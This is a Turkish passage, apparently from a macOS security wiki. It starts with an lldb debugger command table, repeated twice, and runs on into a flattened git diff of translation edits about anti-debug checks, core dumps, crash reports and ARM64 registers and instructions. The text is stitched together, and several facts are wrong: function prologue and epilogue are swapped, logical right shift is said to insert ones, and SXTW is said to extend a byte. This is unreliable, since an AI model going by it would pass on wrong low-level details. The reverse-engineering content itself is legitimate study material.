stepi (s / si)Sonraki talimatı yürütür. nexti komutunun aksine, bu komut fonksiyon çağrılarına girer.
finish (f)Mevcut fonksiyondaki (“çerçeve”) geri kalan talimatları yürütür ve durur.
control + cYürütmeyi duraklatır. Eğer işlem çalıştırıldıysa (r) veya devam ettirildiyse (c), bu işlem duraklatılacaktır ...şu anda yürütüldüğü yerde.
breakpoint (b)

b main #Herhangi bir main fonksiyonu

b <binname>`main #Bin'in ana fonksiyonu

b set -n main --shlib <lib_name> #Belirtilen bin'in ana fonksiyonu

breakpoint set -r '\[NSFileManager .*\]$' #Herhangi bir NSFileManager metodu

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # O kütüphanedeki tüm fonksiyonlarda kesme noktası

b -a 0x0000000100004bd9

br l #Kesme noktası listesi

br e/dis <num> #Kesme noktasını etkinleştir/devre dışı bırak

breakpoint delete <num>

help

help breakpoint #Kesme noktası komutu hakkında yardım al

help memory write #Belleğe yazma hakkında yardım al

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s <reg/bellek adresi>Belleği null-terminatlı dize olarak görüntüler.
x/i <reg/bellek adresi>Belleği montaj talimatı olarak görüntüler.
x/b <reg/bellek adresi>Belleği bayt olarak görüntüler.
print object (po)

Bu, parametre ile referans verilen nesneyi yazdırır

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Apple’ın Objective-C API'lerinin veya yöntemlerinin çoğu nesne döndürdüğünden, bu nedenle “print object” (po) komutu ile görüntülenmelidir. Eğer po anlamlı bir çıktı üretmiyorsa x/b kullanın

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #O adrese AAAA yaz
memory write -f s $rip+0x11f+7 "AAAA" #Adrese AAAA yaz
disassembly

dis #Mevcut fonksiyonu disassemble et

dis -n <funcname> #Fonksiyonu disassemble et

dis -n <funcname> -b <basename> #Fonksiyonu disassemble et
dis -c 6 #6 satırı disassemble et
dis -c 0x100003764 -e 0x100003768 #Bir eklemden diğerine kadar
dis -p -c 4 #Mevcut adreste disassemble etmeye başla

parrayparray 3 (char **)$x1 # x1 reg'inde 3 bileşenli diziyi kontrol et
image dump sectionsMevcut işlem belleğinin haritasını yazdırır
image dump symtab <library>image dump symtab CoreNLP #CoreNLP'den tüm sembollerin adresini al
+
(lldb) KomutAçıklama
run (r)Bir kesme noktası vurulana veya işlem sonlanana kadar devam edecek şekilde yürütmeyi başlatır.
process launch --stop-at-entryGiriş noktasında durarak yürütmeyi başlatır
continue (c)Debug edilen işlemin yürütmesini devam ettirir.
nexti (n / ni)Sonraki talimatı yürütür. Bu komut, fonksiyon çağrılarını atlar.
stepi (s / si)Sonraki talimatı yürütür. nexti komutunun aksine, bu komut fonksiyon çağrılarına girer.
finish (f)Mevcut fonksiyondaki (“çerçeve”) geri kalan talimatları yürütür ve durur.
control + cYürütmeyi duraklatır. Eğer işlem çalıştırıldıysa (r) veya devam ettirildiyse (c), bu işlem duraklatılacaktır ...şu anda yürütüldüğü yerde.
breakpoint (b)

b main #Herhangi bir main fonksiyonu

b <binname>`main #Bin'in ana fonksiyonu

b set -n main --shlib <lib_name> #Belirtilen bin'in ana fonksiyonu

breakpoint set -r '\[NSFileManager .*\]$' #Herhangi bir NSFileManager metodu

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # O kütüphanedeki tüm fonksiyonlarda kesme noktası

b -a 0x0000000100004bd9

br l #Kesme noktası listesi

br e/dis <num> #Kesme noktasını etkinleştir/etkisiz hale getir

breakpoint delete <num>

help

help breakpoint #Kesme noktası komutu hakkında yardım al

help memory write #Belleğe yazma hakkında yardım al

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s <reg/bellek adresi>Belleği null-terminatlı dize olarak görüntüler.
x/i <reg/bellek adresi>Belleği montaj talimatı olarak görüntüler.
x/b <reg/bellek adresi>Belleği byte olarak görüntüler.
print object (po)

Bu, parametre ile referans verilen nesneyi yazdırır

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Apple’ın Objective-C API'lerinin veya yöntemlerinin çoğu nesne döndürdüğünden, bunlar “print object” (po) komutu ile görüntülenmelidir. Eğer po anlamlı bir çıktı üretmiyorsa x/b kullanın

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #O adrese AAAA yaz
memory write -f s $rip+0x11f+7 "AAAA" #Adrese AAAA yaz
disassembly

dis #Mevcut fonksiyonu disassemble et

dis -n <funcname> #Fonksiyonu disassemble et

dis -n <funcname> -b <basename> #Fonksiyonu disassemble et
dis -c 6 #6 satırı disassemble et
dis -c 0x100003764 -e 0x100003768 #Bir eklemden diğerine kadar
dis -p -c 4 #Mevcut adreste disassemble etmeye başla

parrayparray 3 (char **)$x1 # x1 reg'inde 3 bileşenli diziyi kontrol et
image dump sectionsMevcut işlem belleğinin haritasını yazdırır
image dump symtab <library>image dump symtab CoreNLP #CoreNLP'den tüm sembollerin adresini al
> [!NOTE] > **`objc_sendMsg`** fonksiyonu çağrıldığında, **rsi** kaydedicisi **metodun adını** null-terminatlı (“C”) dize olarak tutar. Adı lldb üzerinden yazdırmak için: @@ -460,17 +460,17 @@ settings set target.x86-disassembly-flavor intel - Basit bir kod ile **bir işlemin debug edilip edilmediğini** bulmak da mümkündür: - `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //işlem debug ediliyor }` - Ayrıca **`ptrace`** sistem çağrısını **`PT_DENY_ATTACH`** bayrağı ile çağırabilir. Bu, bir debug**u**gerin bağlanmasını ve izlenmesini **engeller**. -- **`sysctl`** veya **`ptrace`** fonksiyonunun **içe aktarıldığını** kontrol edebilirsiniz (ancak kötü amaçlı yazılım bunu dinamik olarak içe aktarabilir) +- **`sysctl`** veya **`ptrace`** fonksiyonunun **içe aktarılıp aktarılmadığını** kontrol edebilirsiniz (ancak kötü amaçlı yazılım bunu dinamik olarak içe aktarabilir). - Bu yazıda belirtildiği gibi, “[Anti-Debug Tekniklerini Aşmak: macOS ptrace varyantları](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ -“_Process # exited with **status = 45 (0x0000002d)** mesajı genellikle debug hedefinin **PT_DENY_ATTACH** kullandığının belirgin bir işaretidır_” +“_Process # exited with **status = 45 (0x0000002d)** mesajı genellikle debug hedefinin **PT_DENY_ATTACH** kullandığını gösteren bir işarettir_” ## Core Dumps -Core dump'lar aşağıdaki durumlarda oluşturulur: +Core dump'lar şu durumlarda oluşturulur: - `kern.coredump` sysctl 1 olarak ayarlanmışsa (varsayılan olarak) - Eğer işlem suid/sgid değilse veya `kern.sugid_coredump` 1 ise (varsayılan olarak 0) -- `AS_CORE` limiti işlemi izin veriyorsa. Kod dump'larının oluşturulmasını engellemek için `ulimit -c 0` çağrısı yapılabilir ve bunları yeniden etkinleştirmek için `ulimit -c unlimited` kullanılabilir. +- `AS_CORE` limiti işlemi izin veriyorsa. Kod dump'larının oluşturulmasını engellemek için `ulimit -c 0` çağrılabilir ve tekrar etkinleştirmek için `ulimit -c unlimited` kullanılabilir. Bu durumlarda core dump, `kern.corefile` sysctl'ine göre oluşturulur ve genellikle `/cores/core/.%P` dizininde saklanır. @@ -479,8 +479,8 @@ Bu durumlarda core dump, `kern.corefile` sysctl'ine göre oluşturulur ve genell ### [ReportCrash](https://ss64.com/osx/reportcrash.html) ReportCrash **çöken işlemleri analiz eder ve bir çökme raporunu diske kaydeder**. Bir çökme raporu, bir geliştiricinin çökme nedenini teşhis etmesine yardımcı olabilecek bilgileri içerir.\ -Kullanıcı başına launchd bağlamında **çalışan uygulamalar ve diğer işlemler** için, ReportCrash bir LaunchAgent olarak çalışır ve çökme raporlarını kullanıcının `~/Library/Logs/DiagnosticReports/` dizinine kaydeder.\ -Daimonlar, sistem launchd bağlamında **çalışan diğer işlemler** ve diğer ayrıcalıklı işlemler için, ReportCrash bir LaunchDaemon olarak çalışır ve çökme raporlarını sistemin `/Library/Logs/DiagnosticReports` dizinine kaydeder. +Kullanıcı başına launchd bağlamında **çalışan uygulamalar ve diğer işlemler** için, ReportCrash bir LaunchAgent olarak çalışır ve çökme raporlarını kullanıcının `~/Library/Logs/DiagnosticReports/` dizininde saklar.\ +Daimonlar, sistem launchd bağlamında **çalışan diğer işlemler** ve diğer ayrıcalıklı işlemler için, ReportCrash bir LaunchDaemon olarak çalışır ve çökme raporlarını sistemin `/Library/Logs/DiagnosticReports` dizininde saklar. Eğer çökme raporlarının **Apple'a gönderilmesinden endişe ediyorsanız**, bunları devre dışı bırakabilirsiniz. Aksi takdirde, çökme raporları **bir sunucunun nasıl çöktüğünü anlamak için** faydalı olabilir. ```bash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index aed46f7f4..97ca4c68b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -17,26 +17,26 @@ ARMv8 mimarisinde, İstisna Seviyeleri (EL'ler) olarak bilinen yürütme seviyel - EL2, sanallaştırılmış ortamların izolasyonu ve kontrolü için özellikler sağlar. 4. **EL3 - Güvenli İzleyici Modu**: - Bu, en ayrıcalıklı seviyedir ve genellikle güvenli önyükleme ve güvenilir yürütme ortamları için kullanılır. -- EL3, güvenli ve güvenli olmayan durumlar (güvenli önyükleme, güvenilir OS vb.) arasındaki erişimleri yönetebilir ve kontrol edebilir. +- EL3, güvenli ve güvenli olmayan durumlar arasındaki erişimleri yönetebilir ve kontrol edebilir (örneğin güvenli önyükleme, güvenilir OS vb.). Bu seviyelerin kullanımı, kullanıcı uygulamalarından en ayrıcalıklı sistem yazılımlarına kadar sistemin farklı yönlerini yönetmek için yapılandırılmış ve güvenli bir yol sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole etmeye yardımcı olur ve böylece sistemin güvenliğini ve dayanıklılığını artırır. ## **Kayıtlar (ARM64v8)** -ARM64, `x0` ile `x30` arasında etiketlenmiş **31 genel amaçlı kayıt** içerir. Her biri **64-bit** (8-byte) bir değeri saklayabilir. Sadece 32-bit değerler gerektiren işlemler için, aynı kayıtlara 32-bit modda `w0` ile `w30` isimleriyle erişilebilir. +ARM64, `x0` ile `x30` arasında etiketlenmiş **31 genel amaçlı kayıt** içerir. Her biri **64-bit** (8-byte) bir değeri saklayabilir. Sadece 32-bit değerler gerektiren işlemler için, aynı kayıtlara 32-bit modda `w0` ile `w30` isimleri kullanılarak erişilebilir. 1. **`x0`** ile **`x7`** - Genellikle geçici kayıtlar olarak ve alt programlara parametre geçişi için kullanılır. -- **`x0`**, bir fonksiyonun dönüş verisini de taşır. -2. **`x8`** - Linux çekirdeğinde, `x8`, `svc` talimatı için sistem çağrı numarası olarak kullanılır. **macOS'ta x16 kullanılır!** +- **`x0`** ayrıca bir fonksiyonun dönüş verisini taşır. +2. **`x8`** - Linux çekirdeğinde, `x8` `svc` talimatı için sistem çağrı numarası olarak kullanılır. **macOS'ta x16 kullanılır!** 3. **`x9`** ile **`x15`** - Daha fazla geçici kayıt, genellikle yerel değişkenler için kullanılır. 4. **`x16`** ve **`x17`** - **İç Prosedürel Çağrı Kayıtları**. Anlık değerler için geçici kayıtlardır. Ayrıca dolaylı fonksiyon çağrıları ve PLT (Prosedür Bağlantı Tablosu) stub'ları için de kullanılır. - **`x16`**, **macOS**'ta **`svc`** talimatı için **sistem çağrı numarası** olarak kullanılır. 5. **`x18`** - **Platform kaydı**. Genel amaçlı bir kayıt olarak kullanılabilir, ancak bazı platformlarda bu kayıt platforma özgü kullanımlar için ayrılmıştır: Windows'ta mevcut iş parçacığı ortam bloğuna işaretçi veya Linux çekirdeğinde mevcut **yürütme görev yapısına** işaretçi. -6. **`x19`** ile **`x28`** - Bunlar çağrılan fonksiyon tarafından saklanan kayıtlardır. Bir fonksiyon, bu kayıtların değerlerini çağıran için korumalıdır, bu nedenle yığın içinde saklanır ve çağırana geri dönmeden önce geri alınır. +6. **`x19`** ile **`x28`** - Bunlar çağrılan fonksiyon tarafından saklanan kayıtlardır. Bir fonksiyon, bu kayıtların değerlerini çağıran için korumalı tutmalıdır, bu nedenle yığın içinde saklanır ve çağırana geri dönmeden önce geri alınır. 7. **`x29`** - Yığın çerçevesini takip etmek için **Çerçeve işaretçisi**. Bir fonksiyon çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda, **`x29`** kaydı **yığında saklanır** ve **yeni** çerçeve işaretçisi adresi (**`sp`** adresi) **bu kayıtta saklanır**. - Bu kayıt ayrıca **genel amaçlı bir kayıt** olarak da kullanılabilir, ancak genellikle **yerel değişkenlere** referans olarak kullanılır. 8. **`x30`** veya **`lr`** - **Bağlantı kaydı**. `BL` (Bağlantılı Dal) veya `BLR` (Bağlantılı Dal Kayıtına) talimatı yürütüldüğünde **dönüş adresini** tutar ve **`pc`** değerini bu kayıtta saklar. -- Bu kayıt, diğer kayıtlar gibi de kullanılabilir. +- Ayrıca diğer kayıtlar gibi kullanılabilir. - Mevcut fonksiyon yeni bir fonksiyon çağıracaksa ve dolayısıyla `lr`'yi geçersiz kılacaksa, başlangıçta yığında saklayacaktır, bu epilogdur (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi sakla, alan oluştur ve yeni `fp` al) ve sonunda geri alır, bu prologdur (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi geri al ve dön). 9. **`sp`** - **Yığın işaretçisi**, yığının en üstünü takip etmek için kullanılır. - **`sp`** değeri her zaman en az bir **quadword** **hizalaması** ile korunmalıdır, aksi takdirde hizalama hatası meydana gelebilir. @@ -51,7 +51,7 @@ Ayrıca, optimize edilmiş tek talimat çoklu veri (SIMD) işlemlerinde ve kayan ### Sistem Kayıtları -**Yüzlerce sistem kaydı** vardır, ayrıca özel amaçlı kayıtlar (SPR'ler) olarak da adlandırılır ve **işlemcilerin** davranışını **izlemek** ve **kontrol etmek** için kullanılır.\ +**Yüzlerce sistem kaydı** vardır, ayrıca özel amaçlı kayıtlar (SPR'ler) olarak da adlandırılır, **işlemcilerin** davranışını **izlemek** ve **kontrol etmek** için kullanılır.\ Sadece özel talimatlar olan **`mrs`** ve **`msr`** kullanılarak okunabilir veya ayarlanabilirler. Özel kayıtlar **`TPIDR_EL0`** ve **`TPIDDR_EL0`** tersine mühendislik yaparken sıkça bulunur. `EL0` eki, kaydın erişilebileceği **minimum istisnayı** gösterir (bu durumda EL0, normal programların çalıştığı düzenli istisna (ayrıcalık) seviyesidir).\ @@ -68,29 +68,29 @@ Erişilebilir alanlar şunlardır:
- **`N`**, **`Z`**, **`C`** ve **`V`** durum bayrakları: -- **`N`**, işlemin negatif bir sonuç verdiğini gösterir. -- **`Z`**, işlemin sıfır verdiğini gösterir. -- **`C`**, işlemin taşındığını gösterir. -- **`V`**, işlemin imzalı bir taşma verdiğini gösterir: +- **`N`**, işlemin negatif bir sonuç verdiğini belirtir. +- **`Z`**, işlemin sıfır verdiğini belirtir. +- **`C`**, işlemin taşındığını belirtir. +- **`V`**, işlemin imzalı bir taşma verdiğini belirtir: - İki pozitif sayının toplamı negatif bir sonuç verir. - İki negatif sayının toplamı pozitif bir sonuç verir. - Çıkarma işlemi sırasında, daha küçük bir pozitif sayıdan büyük bir negatif sayı çıkarıldığında (veya tersine), ve sonuç verilen bit boyutunun aralığında temsil edilemezse. -- Açıkça, işlemcinin işlemin imzalı olup olmadığını bilmediği için, C ve V'yi işlemlerde kontrol eder ve taşmanın imzalı veya imzasız olup olmadığını belirtir. +- Açıkça, işlemci işlemin imzalı olup olmadığını bilmez, bu nedenle C ve V'yi işlemlerde kontrol eder ve taşmanın imzalı veya imzasız olup olmadığını belirtir. > [!WARNING] -> Tüm talimatlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları günceller ve **`ADDS`** gibi s son eki olan diğerleri de bunu yapar. +> Tüm talimatlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları günceller ve **`ADDS`** gibi s eki olan diğerleri de günceller. - Mevcut **kayıt genişliği (`nRW`) bayrağı**: Eğer bayrak 0 değerini tutuyorsa, program yeniden başlatıldığında AArch64 yürütme durumunda çalışacaktır. - Mevcut **İstisna Seviyesi** (**`EL`**): EL0'da çalışan bir normal program 0 değerine sahip olacaktır. - **Tek adım** bayrağı (**`SS`**): Hata ayıklayıcılar tarafından, bir istisna aracılığıyla **`SPSR_ELx`** içinde SS bayrağını 1 olarak ayarlayarak tek adım atmak için kullanılır. Program bir adım atacak ve tek adım istisnası verecektir. - **Geçersiz istisna** durumu bayrağı (**`IL`**): Ayrıcalıklı bir yazılım geçersiz bir istisna seviyesi aktarımı gerçekleştirdiğinde işaretlemek için kullanılır, bu bayrak 1 olarak ayarlanır ve işlemci geçersiz durum istisnası tetikler. - **`DAIF`** bayrakları: Bu bayraklar, ayrıcalıklı bir programın belirli dış istisnaları seçici olarak maskelemesine olanak tanır. -- Eğer **`A`** 1 ise, **asenkron abortların** tetikleneceği anlamına gelir. **`I`**, dış donanım **Kesme İsteklerine** (IRQ'lar) yanıt vermek için yapılandırılır. F ise **Hızlı Kesme İstekleri** (FIR'lar) ile ilgilidir. -- **Yığın işaretçisi seçme** bayrakları (**`SPS`**): EL1 ve üzerindeki ayrıcalıklı programlar, kendi yığın işaretçisi kaydı ile kullanıcı modeli arasında geçiş yapabilir (örneğin, `SP_EL1` ile `EL0` arasında). Bu geçiş, **`SPSel`** özel kaydına yazılarak gerçekleştirilir. Bu, EL0'dan yapılamaz. +- Eğer **`A`** 1 ise, **asenkron abortlar** tetiklenecektir. **`I`**, dış donanım **Kesme İsteklerine** (IRQ'lar) yanıt vermek için yapılandırılır. F ise **Hızlı Kesme İstekleri** (FIR'lar) ile ilgilidir. +- **Yığın işaretçisi seçme** bayrakları (**`SPS`**): EL1 ve üzerindeki ayrıcalıklı programlar, kendi yığın işaretçisi kaydı ile kullanıcı modeli arasında geçiş yapabilirler (örneğin `SP_EL1` ile `EL0` arasında). Bu geçiş, **`SPSel`** özel kaydına yazılarak gerçekleştirilir. Bu, EL0'dan yapılamaz. ## **Çağrı Sözleşmesi (ARM64v8)** -ARM64 çağrı sözleşmesi, bir fonksiyona **ilk sekiz parametrenin** **`x0` ile `x7`** kayıtlarında geçildiğini belirtir. **Ek** parametreler **yığında** geçilir. **Dönüş** değeri, **`x0`** kaydında veya **`x1`** kaydında **eğer 128 bit uzunluğundaysa** geri geçilir. **`x19`** ile **`x30`** ve **`sp`** kayıtları, fonksiyon çağrıları arasında **korunmalıdır**. +ARM64 çağrı sözleşmesi, bir fonksiyona **ilk sekiz parametrenin** **`x0` ile `x7`** kayıtlarında geçildiğini belirtir. **Ek** parametreler **yığında** geçilir. **Dönüş** değeri **`x0`** kaydında veya **`x1`** kaydında **eğer 128 bit uzunluğundaysa** geri geçilir. **`x19`** ile **`x30`** ve **`sp`** kayıtları, fonksiyon çağrıları arasında **korunmalıdır**. Bir fonksiyonu assembly dilinde okurken, **fonksiyon prologunu ve epilogunu** arayın. **Prolog**, genellikle **çerçeve işaretçisini (`x29`) saklamayı**, **yeni bir çerçeve işaretçisi** ayarlamayı ve **yığın alanı** ayırmayı içerir. **Epilog**, genellikle **saklanan çerçeve işaretçisini geri yüklemeyi** ve **fonksiyondan dönmeyi** içerir. @@ -108,21 +108,21 @@ ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir, - Örnek: `ldr x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan bir değeri `x0`'a yükler. - **Offset modu**: Orijinal işaretçiyi etkileyen bir offset belirtilir, örneğin: - `ldr x2, [x1, #8]`, bu `x2`'ye `x1 + 8` değerini yükleyecektir. -- `ldr x2, [x0, x1, lsl #2]`, bu `x2`'ye `x0` dizisinden `x1` (indeks) \* 4 pozisyonundan bir nesne yükleyecektir. -- **Önceden indekslenmiş mod**: Bu, orijinal işaretçiye hesaplamalar uygular, sonucu alır ve ayrıca yeni orijinal işaretçiyi orijinalde saklar. -- `ldr x2, [x1, #8]!`, bu `x2`'ye `x1 + 8` yükler ve `x1`'de `x1 + 8` sonucunu saklar. -- `str lr, [sp, #-4]!`, Bağlantı kaydını sp'ye sakla ve sp kaydını güncelle. +- `ldr x2, [x0, x1, lsl #2]`, bu `x2`'ye `x0` dizisinden `x1` (indeks) \* 4 konumundaki bir nesneyi yükleyecektir. +- **Önceden indekslenmiş mod**: Bu, orijinal değere hesaplamalar uygular, sonucu alır ve ayrıca yeni orijinal değeri orijinalde saklar. +- `ldr x2, [x1, #8]!`, bu `x2`'ye `x1 + 8` yükler ve `x1`'e `x1 + 8` sonucunu saklar. +- `str lr, [sp, #-4]!`, Bağlantı kaydını sp'ye sakla ve kaydı güncelle. - **Son indeks modu**: Bu, önceki gibi, ancak bellek adresine erişilir ve ardından offset hesaplanır ve saklanır. - `ldr x0, [x1], #8`, `x1`'i `x0`'a yükler ve `x1`'i `x1 + 8` ile günceller. - **PC'ye göre adresleme**: Bu durumda, yüklenecek adres PC kaydına göre hesaplanır. - `ldr x1, =_start`, Bu, `_start` sembolünün başladığı adresi `x1`'e yükleyecektir. - **`str`**: Bir **kayıttan** **belleğe** bir değeri **sakla**. - Örnek: `str x0, [x1]` — Bu, `x0`'deki değeri `x1` tarafından işaret edilen bellek konumuna saklar. -- **`ldp`**: **Kayıt Çifti Yükle**. Bu talimat, **ardışık bellek** konumlarından iki kaydı **yükler**. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur. -- Örnek: `ldp x0, x1, [x2]` — Bu, `x0` ve `x1`'i sırasıyla `x2` ve `x2 + 8` konumlarından yükler. -- **`stp`**: **Kayıt Çifti Sakla**. Bu talimat, **ardışık bellek** konumlarına iki kaydı **saklar**. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur. -- Örnek: `stp x0, x1, [sp]` — Bu, `x0` ve `x1`'i sırasıyla `sp` ve `sp + 8` konumlarına saklar. -- `stp x0, x1, [sp, #16]!` — Bu, `x0` ve `x1`'i `sp+16` ve `sp + 24` konumlarına saklar ve `sp`'yi `sp+16` ile günceller. +- **`ldp`**: **Kayıt Çifti Yükle**. Bu talimat, **ardışık bellek** konumlarından **iki kaydı** yükler. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur. +- Örnek: `ldp x0, x1, [x2]` — Bu, `x2` ve `x2 + 8` konumlarındaki bellekten `x0` ve `x1`'i yükler. +- **`stp`**: **Kayıt Çifti Sakla**. Bu talimat, **ardışık bellek** konumlarına **iki kaydı** saklar. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur. +- Örnek: `stp x0, x1, [sp]` — Bu, `x0` ve `x1`'i `sp` ve `sp + 8` konumlarındaki bellek alanlarına saklar. +- `stp x0, x1, [sp, #16]!` — Bu, `x0` ve `x1`'i `sp+16` ve `sp + 24` konumlarındaki bellek alanlarına saklar ve `sp`'yi `sp+16` ile günceller. - **`add`**: İki kaydın değerlerini toplar ve sonucu bir kayıtta saklar. - Söz dizimi: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] - Xn1 -> Hedef @@ -130,7 +130,7 @@ ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir, - Xn3 | #imm -> Operatör 2 (kayıt veya anlık) - \[shift #N | RRX] -> Bir kaydırma gerçekleştir veya RRX çağır - Örnek: `add x0, x1, x2` — Bu, `x1` ve `x2`'deki değerleri toplar ve sonucu `x0`'da saklar. -- `add x5, x5, #1, lsl #12` — Bu, 4096'ya eşittir (1, 12 kez kaydırıcı) -> 1 0000 0000 0000 0000 +- `add x5, x5, #1, lsl #12` — Bu, 4096'ya eşittir (1, 12 kez kaydırılmış) -> 1 0000 0000 0000 0000 - **`adds`** Bu, bir `add` işlemi gerçekleştirir ve bayrakları günceller. - **`sub`**: İki kaydın değerlerini çıkarır ve sonucu bir kayıtta saklar. - **`add`** **söz dizimini** kontrol edin. @@ -141,39 +141,39 @@ ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir, - **`div`**: Bir kaydın değerini diğerine böler ve sonucu bir kayıtta saklar. - Örnek: `div x0, x1, x2` — Bu, `x1`'deki değeri `x2`'ye böler ve sonucu `x0`'da saklar. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **Mantıksal kaydırma sola**: Sonundan 0 ekleyerek diğer bitleri ileri taşır (n kez 2 ile çarpma). -- **Mantıksal kaydırma sağa**: Başlangıcına 1 ekleyerek diğer bitleri geri taşır (imzasız olarak n kez 2 ile bölme). -- **Aritmetik kaydırma sağa**: **`lsr`** gibi, ancak en anlamlı bit 1 ise 0 eklemek yerine, 1 eklenir (imzalı olarak n kez 2 ile bölme). +- **Mantıksal kaydırma sola**: Sonundan 0 ekleyerek diğer bitleri ileri taşır (n kat 2 ile çarpma). +- **Mantıksal kaydırma sağa**: Başlangıcına 1 ekleyerek diğer bitleri geri taşır (imzasız n kat 2 ile bölme). +- **Aritmetik kaydırma sağa**: **`lsr`** gibi, ancak en anlamlı bit 1 ise 0 eklemek yerine **1 eklenir** (imzalı n kat 2 ile bölme). - **Sağa döndürme**: **`lsr`** gibi, ancak sağdan çıkarılan her şey sola eklenir. - **Genişletme ile sağa döndürme**: **`ror`** gibi, ancak taşıma bayrağı "en anlamlı bit" olarak kullanılır. Yani taşıma bayrağı bit 31'e taşınır ve çıkarılan bit taşıma bayrağına eklenir. -- **`bfm`**: **Bit Alanı Taşı**, bu işlemler **bir değerden `0...n` bitlerini kopyalar** ve bunları **`m..m+n`** pozisyonlarına yerleştirir. **`#s`**, **en soldaki bit** pozisyonunu ve **`#r`** **sağa döndürme miktarını** belirtir. +- **`bfm`**: **Bit Alanı Taşıma**, bu işlemler bir değerden `0...n` bitlerini kopyalar ve bunları **`m..m+n`** konumlarına yerleştirir. **`#s`**, **en soldaki bit** konumunu ve **`#r`** ise **sağa döndürme miktarını** belirtir. - Bit alanı taşıma: `BFM Xd, Xn, #r` - İmzalı bit alanı taşıma: `SBFM Xd, Xn, #r, #s` - İmzalı olmayan bit alanı taşıma: `UBFM Xd, Xn, #r, #s` - **Bit alanı Çıkarma ve Ekleme:** Bir kayıttan bir bit alanını kopyalar ve başka bir kayda kopyalar. -- **`BFI X1, X2, #3, #4`** X1'in 3. bitinden X2'den 4 bit ekle. -- **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden 4 bit çıkar ve X1'e kopyala. -- **`SBFIZ X1, X2, #3, #4`** X2'den 4 bit işaret uzatır ve X1'e 3. bit pozisyonundan ekler, sağdaki bitleri sıfırlar. -- **`SBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkarır, işaret uzatır ve sonucu X1'e yerleştirir. -- **`UBFIZ X1, X2, #3, #4`** X2'den 4 bit sıfır uzatır ve X1'e 3. bit pozisyonundan ekler, sağdaki bitleri sıfırlar. +- **`BFI X1, X2, #3, #4`** X2'den X1'in 3. bitinden 4 bit ekle. +- **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden dört bit çıkar ve X1'e kopyala. +- **`SBFIZ X1, X2, #3, #4`** X2'den 4 biti imza uzatır ve X1'e 3. bit konumundan ekler, sağdaki bitleri sıfırlar. +- **`SBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkarır, imza uzatır ve sonucu X1'e yerleştirir. +- **`UBFIZ X1, X2, #3, #4`** X2'den 4 biti sıfır uzatır ve X1'e 3. bit konumundan ekler, sağdaki bitleri sıfırlar. - **`UBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkarır ve sıfır uzatılmış sonucu X1'e yerleştirir. -- **İmza Uzatma X'e:** Bir değerin imzasını (veya imzasız versiyonda sadece 0 ekler) uzatır, böylece onunla işlemler gerçekleştirebiliriz: +- **İmza Uzatma X'e:** Bir değerin imzasını uzatır (veya imzasız versiyonda sadece 0 ekler) böylece onunla işlemler gerçekleştirebiliriz: - **`SXTB X1, W2`** W2'den **X1'e** bir baytın imzasını uzatır (`W2`, `X2`'nin yarısıdır) 64bit doldurmak için. -- **`SXTH X1, W2`** W2'den **X1'e** 16 bitlik bir sayının imzasını uzatır 64bit doldurmak için. +- **`SXTH X1, W2`** W2'den **X1'e** 16bit bir sayının imzasını uzatır 64bit doldurmak için. - **`SXTW X1, W2`** W2'den **X1'e** bir baytın imzasını uzatır 64bit doldurmak için. - **`UXTB X1, W2`** W2'den **X1'e** 0 ekler (imzasız) 64bit doldurmak için. -- **`extr`:** Belirtilen **bir çift kayıttan** bitleri çıkarır. +- **`extr`:** Belirtilen **kayıt çiftlerinden** bitleri çıkarır. - Örnek: `EXTR W3, W2, W1, #3` Bu, **W1+W2'yi birleştirir** ve **W2'nin 3. bitinden W1'in 3. bitine kadar** alır ve W3'e saklar. - **`cmp`**: İki kaydı **karşılaştırır** ve durum bayraklarını ayarlar. Bu, **`subs`**'ın bir takma adıdır ve hedef kaydı sıfır kaydına ayarlar. `m == n` olup olmadığını bilmek için yararlıdır. - **`subs`** ile aynı söz dizimini destekler. - Örnek: `cmp x0, x1` — Bu, `x0` ve `x1`'deki değerleri karşılaştırır ve durum 